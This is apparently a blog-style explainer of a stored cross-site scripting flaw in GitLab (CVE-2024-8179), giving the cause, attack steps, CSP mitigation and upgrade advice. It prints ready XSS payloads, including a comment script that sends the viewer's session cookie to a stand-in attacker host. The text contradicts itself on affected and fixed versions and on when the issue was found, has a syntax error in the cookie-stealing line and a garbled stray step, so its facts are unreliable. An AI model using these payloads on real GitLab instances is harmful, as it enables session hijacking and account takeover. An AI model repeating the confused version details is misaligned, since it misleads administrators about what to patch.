CVE-2024-8179 - GitLab Improper Output Encoding Leads to XSS (Exploit Details & Code Example)

In June 2024, a security issue was identified in GitLab Community Edition (CE) and Enterprise Edition (EE), now tracked as CVE-2024-8179. The bug affects GitLab CE/EE:

Version 17.6 before 17.6.2

GitLab's improper output encoding in certain views lets attackers inject malicious JavaScript (XSS), if Content Security Policy (CSP) is disabled or not enforced.

This vulnerability exposes users to potential data theft, session hijacking, or even full account compromise - all by tricking someone to view a malicious link.

Why is Output Encoding Important?

Whenever a web application displays user-generated content, there's a risk of scripts sneaking in. If an app doesn't *escape or encode* this data before rendering it as HTML, attackers can inject scripts. Browsers will then execute malicious payloads.

Where Did GitLab Go Wrong?

In vulnerable versions, GitLab failed to properly encode some output in project or issue fields (like titles or comments). If attackers enter code like <script>alert('XSS')</script> into a field and someone later views that page, the script runs.

CSP (Content Security Policy) can stop a lot of malicious scripts. But if CSP is not enabled or enforced, attackers get free rein.

How Would an Attacker Exploit This?

Just submit HTML or JavaScript code into a GitLab project, issue, or comment in a field that's not encoded. When someone views it, the script executes.

Example Payload

Suppose you have GitLab 17.5.2 (still vulnerable), and CSP is off or insecure. Go to New Issue, and set the title to:

"><script>alert('CVE-2024-8179')</script>

Or submit a comment with the following

<script>
    fetch('https://evil.example.com/steal?cookie='; + document.cookie);
</script>

If another user with sufficient privileges views this issue or comment, the script fires, leaking the session cookie.

Make sure it is running a version listed above.

- Verify CSP is disabled. You can check this using browser developer tools (F12 > Network tab > look at ‘content-security-policy’ header); no header = unsafe.

Mitigation and Fix

GitLab fixed this by encoding all output and recommends enabling a strong CSP.

Update to 17.4.6, 17.5.4, or 17.6.2 or later.

- See official advisory: GitLab CVE-2024-8179 notice

Add to your web server or GitLab config (simple restrictive example)

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

References

- GitLab Security Advisory: CVE-2024-8179
- NVD: CVE-2024-8179
- OWASP XSS Prevention Cheat Sheet

Watch bug trackers for further issues.

Stay safe! These XSS bugs can be easy to exploit, but just as easy to fix with a patch and strict security headers.


If you have a vulnerable instance, update immediately and check your server’s HTTP headers to make sure CSP is on. Don’t let a simple encoding slip compromise your whole DevSecOps pipeline!

Timeline

Published on: 12/12/2024 12:15:27 UTC